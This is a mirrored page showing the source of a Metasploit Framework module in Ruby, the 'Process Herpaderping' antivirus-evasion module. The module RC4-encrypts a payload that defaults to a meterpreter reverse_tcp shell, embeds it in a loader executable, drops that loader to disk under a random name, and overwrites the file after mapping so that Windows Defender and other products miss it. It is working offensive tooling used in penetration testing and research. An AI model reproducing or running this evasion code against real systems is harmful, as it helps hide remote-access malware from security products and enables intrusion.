CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/evasion/windows/process_herpaderping.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasploit/framework/compiler/windows'
7
8
class MetasploitModule < Msf::Evasion
9
10
# These constants must match the constants defined in the PE loader code (ProcessHerpaderpingTemplate.cpp)
11
MAX_JUNK_SIZE = 1024
12
MAX_PAYLOAD_SIZE = 8192
13
MAX_KEY_SIZE = 64
14
15
def initialize(info = {})
16
super(
17
merge_info(
18
info,
19
'Name' => 'Process Herpaderping evasion technique',
20
'Description' => %q{
21
This module allows you to generate a Windows executable that evades security
22
products such as Windows Defender, Avast, etc. This uses the Process
23
Herpaderping technique to bypass Antivirus detection. This method consists in
24
obscuring the behavior of a running process by modifying the executable on disk
25
after the image has been mapped in memory (more details https://jxy-s.github.io/herpaderping/).
26
27
First, the chosen payload is encrypted and embedded in a loader Portable
28
Executable (PE) file. This file is then included in the final executable. Once
29
this executable is launched on the target, the loader PE is dropped on disk and
30
executed, following the Process Herpaderping technique. Note that the name of
31
the file that is being dropped is randomly generated. However, it is possible
32
to configure the destination path from Metasploit (see WRITEABLE_DIR option
33
description).
34
35
Here is the main workflow:
36
1. Retrieve the target name (where the PE loader will be dropped).
37
2. Retrieve the PE loader from the binary and write it on disk.
38
3. Create a section object and create a process from the mapped image.
39
4. Modify the file content on disk by copying another (inoffensive) executable
40
or by using random bytes (see REPLACED_WITH_FILE option description).
41
5. Create the main Thread.
42
43
The source code is based on Johnny Shaw's PoC (https://github.com/jxy-s/herpaderping).
44
},
45
'Author' => [
46
'Johnny Shaw', # Research and PoC
47
'Christophe De La Fuente' # MSF Module
48
],
49
'License' => MSF_LICENSE,
50
'References' => [
51
[ 'URL', 'https://jxy-s.github.io/herpaderping/' ],
52
[ 'URL', 'https://github.com/jxy-s/herpaderping' ],
53
],
54
'Platform' => 'windows',
55
'Arch' => [ ARCH_X64, ARCH_X86 ],
56
'Payload' => { 'ForceEncode' => true },
57
'Targets' => [
58
[
59
'Microsoft Windows (x64)',
60
{
61
'Arch' => ARCH_X64,
62
'DefaultOptions' => {
63
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
64
}
65
}
66
],
67
[
68
'Microsoft Windows (x86)',
69
{
70
'Arch' => ARCH_X86,
71
'DefaultOptions' => {
72
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
73
}
74
}
75
]
76
]
77
)
78
)
79
80
register_options([
81
OptString.new('ENCODER', [
82
false,
83
'A specific encoder to use (automatically selected if not set)',
84
nil
85
]),
86
OptString.new('WRITEABLE_DIR', [
87
true,
88
'Where to write the loader on disk',
89
'%TEMP%'
90
]),
91
OptString.new('REPLACED_WITH_FILE', [
92
false,
93
'File to replace the target with. If not set, the target file will be '\
94
'filled with random bytes (WARNING! it is likely to be caught by AV).',
95
'%SystemRoot%\\System32\\calc.exe'
96
])
97
])
98
end
99
100
def patch_binary(bin, tag, value)
101
placeholder = bin.index(tag)
102
unless placeholder
103
fail_with(Failure::BadConfig, "Invalid source binary: missing \"#{tag}\" tag")
104
end
105
106
bin[placeholder, value.size] = value
107
nil
108
end
109
110
def encrypt_payload
111
opts = { format: 'rc4', key: rc4_key }
112
junk = Rex::Text.rand_text(10..MAX_JUNK_SIZE)
113
p = payload.encoded + junk
114
vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)")
115
Msf::Simple::Buffer.transform(p, 'raw', nil, opts)
116
end
117
118
def rc4_key
119
@rc4_key ||= Rex::Text.rand_text_alpha(32..MAX_KEY_SIZE)
120
end
121
122
def run
123
case target.arch.first
124
when ARCH_X64
125
arch_suffix = 'x64'
126
when ARCH_X86
127
arch_suffix = 'x86'
128
end
129
130
payload = generate_payload
131
if payload.encoded.size > MAX_PAYLOAD_SIZE
132
fail_with(Failure::BadConfig,
133
"Payload too big: #{payload.encoded.size} bytes (max: #{MAX_PAYLOAD_SIZE})")
134
end
135
136
base_path = ::File.join(
137
Msf::Config.data_directory,
138
'evasion',
139
'windows',
140
'process_herpaderping'
141
)
142
exe_path = ::File.join(base_path, "ProcessHerpaderping_#{arch_suffix}.exe")
143
exe_path = ::File.expand_path(exe_path)
144
pe = File.binread(exe_path)
145
vprint_status("Using #{exe_path}")
146
147
template_path = ::File.join(base_path, "ProcessHerpaderpingTemplate_#{arch_suffix}.exe")
148
template_path = ::File.expand_path(template_path)
149
payload_pe = File.binread(template_path)
150
vprint_status("Using #{template_path}")
151
152
patch_binary(payload_pe, 'ENCKEY', rc4_key)
153
154
vprint_status("RC4 key: #{rc4_key}")
155
156
encrypted_payload = encrypt_payload
157
vprint_status("Encrypted payload size: #{encrypted_payload.size}")
158
159
size_prefix = [encrypted_payload.size].pack('L<')
160
patch_binary(payload_pe, 'PAYLOAD', (size_prefix + encrypted_payload).b)
161
vprint_status("Payload PE size #{payload_pe.size}")
162
163
patch_binary(pe, 'PAYLOAD', payload_pe)
164
165
target_file_name = Rex::Text.rand_text_alpha_lower(4..10)
166
target_path = datastore['WRITEABLE_DIR']
167
target_path << '\\' if target_path.last != '\\'
168
target_path << target_file_name
169
target_path << '.exe'
170
patch_binary(pe, 'TARGETFILENAME', target_path.b)
171
vprint_status("Target filename will be #{target_path}")
172
173
replace_path = datastore['REPLACED_WITH_FILE']
174
if replace_path.nil? || replace_path.empty?
175
replace_path = "\0"
176
end
177
178
patch_binary(pe, 'REPLACEFILENAME', replace_path.b)
179
180
file_create(pe)
181
if arch_suffix == 'x86'
182
print_warning(
183
"#### WARNING ####\n"\
184
"This payload won't work on 32-bit Windows 10 versions from 1511 (build\n"\
185
"10586) to 1703 (build 15063), including Windows 10 2016 LTSB (build 14393).\n"\
186
"These versions have a bug in the kernel that crashes/BugCheck the OS\n"\
187
"when executing this payload. So, to avoid this, the payload won't run if\n"\
188
'it detects the OS is one of these versions.'
189
)
190
end
191
end
192
end
193
194